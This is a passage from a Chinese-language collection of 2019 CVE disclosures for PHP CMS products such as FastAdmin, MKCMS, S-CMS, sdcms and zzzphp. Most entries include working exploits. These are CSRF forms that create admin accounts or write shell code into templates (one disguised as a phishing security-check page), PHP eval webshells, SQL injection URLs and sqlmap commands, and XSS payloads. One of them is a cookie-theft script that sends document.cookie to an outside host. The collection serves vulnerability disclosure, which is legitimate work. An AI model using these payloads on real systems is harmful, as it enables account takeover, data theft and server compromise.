添加管理员正常的流程如下
2.png
下面为添加用户过程中的抓包的报文,可以看见没有csrf_token等防护措施
3.png
根据这些所得到的信息,我们就可以伪造html表单,并欺骗管理员点击,最后达到添加管理员用户的目的

三、利用代码

   <html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.242.128/fastadmin/public/admin/auth/admin/add?dialog=1" method="POST">
      <input type="hidden" name="group&#91;&#93;" value="1" />
      <input type="hidden" name="row&#91;username&#93;" value="admin1" />
      <input type="hidden" name="row&#91;email&#93;" value="test&#64;test&#46;com" />
      <input type="hidden" name="row&#91;nickname&#93;" value="admin1" />
      <input type="hidden" name="row&#91;password&#93;" value="admin1" />
      <input type="hidden" name="row&#91;status&#93;" value="normal" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

模拟管理员点击伪造的页面 ,查看效果
4.png
页面跳转后,发现管理员用户添加成功
5.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/191/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11077
exploit-db:发布中

CVE-2019-11376:soycms v3.0.2任意php代码执行

一、漏洞摘要

漏洞名称: soycms v3.0.2任意php代码执行
上报日期: 2019-04-08
漏洞发现者: Yu Yang
产品首页: https://saitodev.co/soycms/
软件链接: https://github.com/inunosinsi/soycms
版本: v3.0.2
CVE编号: CVE-2019-11376


二、漏洞概述

soycms v3.0.2后台网页编辑功能过滤不严格,导致在后台更改的代码中可以带入php代码造成代码执行。

三、利用方法

1.首先我们成功安装该cms,并进入后台,可以对网页进行编辑,此处编辑index,php
1.png
我们能插入任意的PHP代码进入网页,并保存到http://xxx.xxx.xxx/'New directory'/index.php,如上图所示,我们插入的代码为:<?php phpinfo();?>
2.png
插入之后,代码都可以成功执行,所以我们可以插入恶意代码并getshell
3.png
poc:<?php @eval($_POST[c]);?>

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/212/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11376
exploit-db:发布中

CVE-2019-11078:MKCMS V5.0存在CSRF漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在CSRF漏洞
上报日期: 2019-04-04
漏洞发现者: cisk
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-11078


二、漏洞概述

CSRF: ucenter/userinfo.php
post请求中没有带token,也没有验证Referer,导致产生csrf漏洞
6.png

三、利用方法

构造如下poc.html,并访问poc.html;将修改lduo123账号的密码

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://v.micool.top/ucenter/userinfo.php" method="POST">
      <input type="hidden" name="u&#95;name" value="lduo123" />
      <input type="hidden" name="u&#95;password" value="123456" />
      <input type="hidden" name="u&#95;phone" value="1314520" />
      <input type="hidden" name="u&#95;qq" value="" />
      <input type="hidden" name="u&#95;email" value="admin&#64;gmail&#46;com" />
      <input type="hidden" name="save" value="" />
      <input type="submit" value="Submit request" />
    </form>    
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/193/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11078
exploit-db:发布中

CVE-2019-11377:WCMS v0.3.2存在任意文件上传漏洞

一、漏洞摘要

漏洞名称: WCMS v0.3.2存在任意文件上传漏洞
上报日期: 2019-04-04
漏洞发现者: Yu Yang
产品首页: http://wcms.space/
软件链接: https://github.com/vedees/wcms
版本: v0.3.2
CVE编号: CVE-2019-11377


二、漏洞概述

在代码层上进行分析,发现该位置的上传功能,虽然建立有文件上传的白名单,但是并没有过滤掉充满风险的后缀(比如php)
1.png

三、利用方法

1.使用上传功能,在该CMS后台的 developer/finder模块
2.png
2.我们可以通过这个上传功能,上传任意后缀的文件到网站服务器上,这就导致攻击者可以上传恶意代码到服务器,以达到getshell的目的
3.png
POC(2.php):
<?php @eval($_POST[c]);?>
4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/208/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11377
exploit-db:发布中

CVE-2019-10708:S-CMS PHP v1.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v1.0存在SQL注入漏洞
上报日期: 2019-04-01
漏洞发现者: cuokon
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10708


二、漏洞概述

在js目录下的scms.php存在sql盲注
漏洞源码
1.png
这里接受了一个id的参数,在其他地方都有把typeid转换为数字,可是这里没有转换而是直接截取了字符串然后放到sql语句执行,虽然这里有字符串拼接的时候加了个unlike在进行判断,可是并不影响,因为通过fuzz可以直接报出来!这里也有对空格单引号和双引号进行过滤,但是这里是数字类型的sql语句所以不需要双引号的闭合。
因为这里过滤掉了空格(%20),把%20改为%09即可绕过。

三、利用代码

Payload为:

http://127.0.0.1/cms/4/js/scms.php?action=unlike&id=t1%09and%09sleep(15)&timestamp=10000000000000000&key=830330726b002ca3514de00392105c92

2.png
3.png
可以看到我设置了延迟了15秒请求时间为15.05s,然后我在猜测一下他数据库的第一个字母s的ascii码是115,然后通过时间看到了是5.02秒和我设置设置的延迟时间差不多,所以判断存在sql盲注。

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/185/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10708
exploit-db:发布中

CVE-2019-10707: MKCMS V5.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在SQL注入漏洞
上报日期: 2019-03-30
漏洞发现者: sueyuDen
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-10707


二、漏洞概述

下载源码后本地搭建。
1.png
漏洞存在在http://127.0.0.1/mkcms/bplay.php
漏洞URL:http://127.0.0.1/mkcms/bplay.php?play=1
用sqlmap跑
sqlmap命令:python2 sqlmap.py -u "http://127.0.0.1/mkcms/bplay.php?play=1" --batch --dbs
2.png
3.png
可以跑出库名,表名,字段等等。
4.png
源码分析:
打开bplay.php
5.png
漏洞语句在第四行
可以看到这里它对play参数没有做过滤的就直接带入了sql语句,从而导致了sql注入。

三、利用代码

exp代码如下:
sqlmap命令为

python2 sqlmap.py -u "http://127.0.0.1/mkcms/bplay.php?play=1" --batch --dbs


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/181/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10707
exploit-db:发布中

CVE-2019-10238:SitemagicCMS上传参数存在反射型XSS

一、漏洞摘要

漏洞名称: SitemagicCMS上传参数存在反射型XSS
上报日期: 2019-03-23
漏洞发现者: F1y1nth3sky
产品首页: https://github.com/Jemt/SitemagicCMS
软件链接: https://github.com/Jemt/SitemagicCMS
版本: v4.4
CVE编号: CVE-2019-10238


二、漏洞概述

上传处filename参数存在XSS
/SitemagicCMS/index.php?SMFilesUpload&SMExecMode=Dedicated&SMExt=SMFiles&SMFilesUploadPath=files/images&SMTemplateType=Basic
extensions/SMFiles/FrmUpload.class.php:对参数没有进行过滤
11.png


三、利用代码

filename="xss<img src="/zh_CN/htmledition/images/transparent.png" lazysrc=1 onerror=alert(1)>"

22.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/175/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10238
exploit-db:发布中

CVE-2019-10237:S-CMS学校建站系统PHP版V1.0存在CSRF漏洞

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0存在CSRF漏洞
上报日期: 2019-03-22
漏洞发现者: Liu Ze Yan , Wang Chi Heng ,Yu Fen , Xie Chao Qi
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10237


二、漏洞概述

正常情况下,顶级管理员在登录后,可以进入到【账号管理】中,进行添加管理员
1.png
2.png
上面是正常的界面管理员添加界面。填写好相关数据后,管理员正常进行添加。然后我们看看抓取到的数据。
3.png
下图为顶级管理员添加的请求包:
可以看到,请求头中记录了关于URL,请求方法,以及表单值等重要的信息,并且是明文显示。
4.png
5.png

这就给攻击者制造了CSRF欺骗的条件,我们可以根据根据这些值进行html页面伪造,并且诱骗网站管理员进行点击,从而达到添加属于新管理员的目的

三、利用代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Your account is at risk of being stolen.  Please change your password as soon as possible.</title>
</head>
  <body style="background-color:PowderBlue;">
               <h1>Your account is at risk of being stolen. </h1>
               <p style="font-family:verdana;color:red">Please change your password as soon as possible.</p>
               <p style="font-family:times;color:green">This product provides a key maintenance system.</p>

               <p style="font-size:30px">Please click the button below to check account security.</p>             
<form action="http://192.168.43.89/4.edu.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST" id="transfer" name="transfer">
       <input type="hidden" name="A_login" value="admin2">
      <input type="hidden" name="A_pwd" value="123456">
      <input type="hidden" name="A_type" value="admin">
      <input type="hidden" name="A_a0" value="1">
             <input type="hidden" name="A_a1" value="1">
             <input type="hidden" name="A_a2" value="1">
             <input type="hidden" name="A_a3" value="1">
             <input type="hidden" name="A_a4" value="1">
             <input type="hidden" name="A_a5" value="1">
             <input type="hidden" name="A_a6" value="1">
             <input type="hidden" name="A_a8" value="1">
             <input type="hidden" name="A_a10" value="1">
             <input type="hidden" name="A_a7" value="1">
             <input type="hidden" name="A_a9" value="1">
             <input type="hidden" name="A_a11" value="1">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="14">
             <input type="hidden" name="A_textauth[]" value="2">
             <input type="hidden" name="A_textauth[]" value="1">
             <input type="hidden" name="A_textauth[]" value="all">
             <input type="hidden" name="A_newsauth[]" value="7">
             <input type="hidden" name="A_newsauth[]" value="1">
             <input type="hidden" name="A_newsauth[]" value="108">
             <input type="hidden" name="A_newsauth[]" value="104">
             <input type="hidden" name="A_newsauth[]" value="113">
             <input type="hidden" name="A_newsauth[]" value="112">
             <input type="hidden" name="A_newsauth[]" value="109">
             <input type="hidden" name="A_newsauth[]" value="106">
             <input type="hidden" name="A_newsauth[]" value="105">
             <input type="hidden" name="A_newsauth[]" value="110">
             <input type="hidden" name="A_newsauth[]" value="all">
             <input type="hidden" name="A_productauth[]" value="8">
             <input type="hidden" name="A_productauth[]" value="7">
             <input type="hidden" name="A_productauth[]" value="4">
             <input type="hidden" name="A_productauth[]" value="3">
             <input type="hidden" name="A_productauth[]" value="2">
             <input type="hidden" name="A_productauth[]" value="all">
             <input type="hidden" name="A_formauth[]" value="9">
             <input type="hidden" name="A_formauth[]" value="8">
             <input type="hidden" name="A_formauth[]" value="7">
             <input type="hidden" name="A_formauth[]" value="all">
             <input type="hidden" name="A_bbsauth[]" value="1">
             <input type="hidden" name="A_bbsauth[]" value="all">
<button type="submit" value="Submit">Click to enter the security check</button>
      </form>
  </body>
</html>

这是构造好的页面效果
6.png
已经登录的管理员点击按钮后就会触发添加账户和修改账户权限的操作。
7.png
后台可以看到已经被添加了一个admin账户并且拥有了所有权限
8.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/172/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10237
exploit-db:发布中

CVE-2019-9925:S-CMS学校建站系统PHP版V1.0多处反射型XSS

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0多处反射型XSS
上报日期: 2019-03-21
漏洞发现者: Liu Ze Yan
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-9925


二、漏洞概述

以下目录均有参数可以进行反射性xss攻击
1.png

原因在于输入参数的地方没有进行因该有的过滤
2.png
3.png
4.png

因此我们可以构造简单的测试payload
5.png
可以看到已经能够执行了xss语句

三、利用代码

首先编写收集用的代码

<?php 
$cookie = $_GET['q']; 
var_dump($cookie); 
$myFile = "cookie.txt"; 
file_put_contents($myFile, $cookie); 
?> 

接着写发送请求的hacker.js,代码如下:

var img = new Image();
img.src = "http://127.0.0.1/hack.php?q="+document.cookie;
document.body.append(img);

在这里做的是本地测试,所以使用127.0.0.1的ip

模拟欺骗链接

<a href=" http://localhost/4.edu.php/?S_id=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">点击就送998</a>

当已登录用户点击之后,则可以实现在服务器上获取其登录cookies,甚至用户名密码。
6.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/163/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9925
exploit-db:发布中

CVE-2019-9652:sdcms V1.7 后台csrf漏洞

一、漏洞摘要

漏洞名称: sdcms V1.7 后台csrf漏洞
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9652


二、漏洞概述

整站后台请求没有加上csrf token保护,所以可以伪造客户端请求。 配合后台代码执行漏洞(http://www.iwantacve.cn/index.php/archives/155/),即可getshell。

三、利用方法

将以下代码保存为html文件,放在网站上,将网址发给管理员,在管理登陆的情况下,点击链接即可在top.php中插入恶意代码从而getshell。
exp:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/sdcms17/?m=admin&c=theme&a=edit&root=ZGVmYXVsdC90b3AuUEhQ" method="POST">
      <input type="hidden" name="file" value="default&#47;top&#46;php" />
      <input type="hidden" name="t0" value="ZGVmYXVsdC90b3AuUEhQ" />
      <input type="hidden" name="t1" value="" />
      <input type="hidden" name="t2" value="&lt;&#63;php&#32;system&#40;&#36;&#95;SERVER&#91;&apos;HTTP&#95;USER&#95;AGENT&apos;&#93;&#41;&#59;&#32;&#63;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/156/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9652
exploit-db:发布中

CVE-2019-9651:sdcms V1.7 远程代码执行

一、漏洞摘要

漏洞名称: sdcms V1.7 远程代码执行
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9651


二、漏洞概述

sdcms的代码中,对模板的编辑过滤不严,导致在后台更改的代码中可以绕过自身的过滤,添加php代码造成代码执行。

0x01审计发现:
后台可以对php文件进行编辑,故对其代码审计:
s1.png

0x01:定位到文件:
/app/admin/controller/themecontroller.php
一下代码就是,后台编辑模板文件的处理代码。
s2.png
s3.png
s4.png
这里主要看第一个if里面的。
可以看到
s5.png
这里对文件读取进行了处理,并且判断文件是否存在。
s6.png
继续往下走,可以看到 t1、t2参数,这些都是对传进来的参数进行处理。t2就是编辑的文件内容。可以看到这里有一个check_bad($text),函数对编辑的文件进行过滤处理。
s7.png
主要过滤了一些参数传递、还有读写文件以及危险函数。
s8.png
校验通过后,最后在判断文件是否是php,是的话,添加一段php代码在编辑的文件里面,这样就不能执行了,最后覆盖保存文件。
0x02:代码执行漏洞
s9.png
抓包可以看到,root为文件名称 解码就是default/top.php,t0同理也是,t2就是编辑后的文件。
这里进行绕过的方法就是 上述判断只判断了php,这里可以将后缀大写,即PHP
s10.png

即可绕过限制,至于最后的check_bad($text),找一个可以接受的参数即可:
<?php system($_SERVER['HTTP_USER_AGENT']); ?> 过滤函数较少,这里可以直接写一个,ua的shell。
s11.png

三、利用方法

登录后台
系统管理--》模板管理--》default--》编辑php文件
q1.png
q2.png
按照上述位置。编辑文件,并发送,抓包测试:
q3.png
验证:
q4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/155/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9651
exploit-db:发布中

CVE-2019-9632:亿赛通电子文档安全管理系统V3&V5任意文件下载漏洞

一、漏洞摘要

漏洞名称: 亿赛通电子文档安全管理系统任意文件下载漏洞
上报日期: 2019-03-04
漏洞发现者: cugxuetao@gmail.com
产品首页: http://www.esafenet.com/%E7%94%B5%E5%AD%90%E6%96%87%E6%A1%A3%E5%AE%89%E5%85%A8
软件链接: http://www.esafenet.com/%E7%94%B5%E5%AD%90%E6%96%87%E6%A1%A3%E5%AE%89%E5%85%A8
版本: V3&V5
CVE编号: CVE-2019-9632


二、漏洞概述

亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全防护软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。
该软件通过B/S和C/S方式进行管理和使用,在WEB登陆页面处有客户端下载链接,该链接由于未对下载路径和文件名称做校验,导致在无需登陆的情况下进行任意文件下载。
该软件在成功部署后首页如下:
1.png
点击“进入”可跳转至登录页:
2.png
存在漏洞的地址为“下载客户端”的请求链接。

三、利用方法

点击“下载客户端”,然后利用burp suite抓包,抓包信息如下:

POST /CDGServer3/ClientAjax HTTP/1.1
Host: xxx.xxxxxx.com:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx.xxxxxx.com:8443/CDGServer3/index.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: close
Cookie: JSESSIONID=8C0B00D43DFB637C67B295EE8AF35BBD; JSESSIONID=77FBC0B80C13A50B127ED529649B1CFF
Upgrade-Insecure-Requests: 1

InstallationPack参数未对文件名称和路径做校验,导致存在任意文件下载漏洞,修改InstallationPack后的路径和文件名称,即可实现任意文件下载,如下载index.jsp和download.jsp。
阅读download.jsp可以发现path和fileName未做过滤导致存在任意文件下载漏洞。
3.png
该软件一般按照官方默认路径部署,可以此下载操作系统文件如Windows Server 2008的win.ini文件,如下图示:
4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/132/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9632
exploit-db:发布中

CVE-2019-9566:FlarumChina-beta.7C前台SQL注入

一、漏洞摘要

漏洞名称: FlarumChina-beta.7C前台SQL注入
上报日期: 2019-03-03
漏洞发现者: admin-神风
产品首页: https://github.com/skywalker512/FlarumChina/
软件链接: https://github.com/skywalker512/FlarumChina/
版本: FlarumChina-beta.7C
CVE编号: CVE-2019-9566


二、漏洞概述

前台搜索框一处盲注
可以通过substr函数进行注入
lll.png

三、利用代码

可以使用sqlmap进行注入。
Exp:

http://localhost/?q=1%' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='f' --+


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/127/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9566
exploit-db:发布中
cxsecurity:https://cxsecurity.com/issue/WLB-2019010224
发现者blog:https://www.cnblogs.com/wh4am1/p/10257593.html

CVE-2019-9181:SchoolCMS v2.3.1后台任意文件上传漏洞

一、漏洞摘要

漏洞名称: SchoolCMS v2.3.1后台任意文件上传漏洞
上报日期: 2019-02-25
漏洞发现者: 鹦鹉
产品首页: http://www.schoolcms.org/
软件链接: http://www.schoolcms.org/
版本: v2.3.1
CVE编号: CVE-2019-9181


二、漏洞概述

SchoolCMS是一套基于ThinkPHP框架的开源学校教务管理系统。该系统包括学生管理、成绩管理和教师管理等。
SchoolCMS 2.3.1版本中存在任意文件上传漏洞,可在后台网站logo上传处通过自定义的Content-Type控制上传文件的后缀,最终getshell。

三、利用方法

找到漏洞触发点:站点设置 > 选择网站logo
上传小马
1.png
抓包修改Content-Type:image/php
2.png
3.png
上传成功,找到上传php文件的地址
4.png
php代码执行
5.png
将用于验证的phpinfo信息改为小马可getshell

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/125/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9181
exploit-db:发布中

CVE-2019-9182:zzzphp V1.6.1 后台csrf漏洞

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 后台csrf漏洞
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9182


二、漏洞概述

整站后台请求没有加上csrf token保护,所以可以伪造客户端请求。 配合后台代码执行漏洞(http://www.iwantacve.cn/index.php/archives/118/),即可getshell。

三、利用方法

将以下代码保存为html文件,放在网站上,将网址发给站长,在站长登陆的情况下,点击链接即可在search.html模版中插入恶意代码从而getshell。

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">

      <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />

      <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      document.forms[0].submit();

    </script>

  </body>

</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/119/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9182
exploit-db:发布中

CVE-2019-9041:zzzphp V1.6.1 动态代码执行

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 动态代码执行(dynamic code evaluation/ code injection)
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9041


二、漏洞概述

Zzzphp cms的代码中,搜索页面对搜索模版的解析过滤不严,导致在后台更改的代码中可以带入php代码造成代码执行。
在/search/index.php中
第二行

require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

跟踪到/inc/zzz_client.php中
第136行至140行

elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
        $zcontent = load_file($tplfile,$location);    
        $parser = new ParserTemplate();
        $zcontent = $parser->parserCommom($zcontent); // 解析模板
        echo $zcontent; 

继续跟踪到/inc/zzz_template.php中对ParserTemplate()的定义
第23行:

        $zcontent = $this->parserIfLabel( $zcontent ); // IF语句

接着跟踪到/inc/zzz_template.php中对parserIfLabel()的定义
第2192到2213行:

        $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
        if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
                       $count = count( $matches[ 0 ] );
               for ( $i = 0; $i < $count; $i++ ) {
                       $flag = '';
                       $out_html = '';
                       $ifstr = $matches[ 1 ][ $i ];
                       $ifstr = str_replace( '<>', '!=', $ifstr );
                       $ifstr = str_replace( 'mod', '%', $ifstr );
                       $ifstr1 = cleft( $ifstr, 0, 1 );
                       switch ( $ifstr1 ) {
                               case '=':
                                       $ifstr = '0' . $ifstr;
                                       break;
                               case '{':
                               case '[':
                                       $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                                       break;
                       }
                       $ifstr = str_replace( '=', '==', $ifstr );
                       $ifstr = str_replace( '===', '==', $ifstr );
                       @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
 

$ifstr经过一系列过滤最后进入eval函数,造成了代码执行。

三、利用方法

后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}phpinfo();{end if} 保存
访问 http://webroot/search/
post数据: x = phpinfo(); 即可执行代码。
1.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/118/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9041
exploit-db:发布中

CVE-2019-9042:Sitemagic CMS v4.4后台未过滤直接上传php导致getshell

一、漏洞摘要

漏洞名称: Sitemagic CMS v4.4后台未过滤直接上传php导致getshell
上报日期: 2019-02-22
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://sitemagic.org/
软件链接: https://sitemagic.org/Download.html(https://github.com/Jemt/SitemagicCMS)
版本: v4.4
CVE编号: CVE-2019-9042


二、漏洞概述

Sitemagic CMS v4.4后台未过滤直接上传php导致getshell。

三、利用方法

poc:
当我们登录进后台后,来到图片管理/index.php?SMExt=SMFiles
1.png
发现能直接上传成功php文件
2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/116/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9042
exploit-db:发布中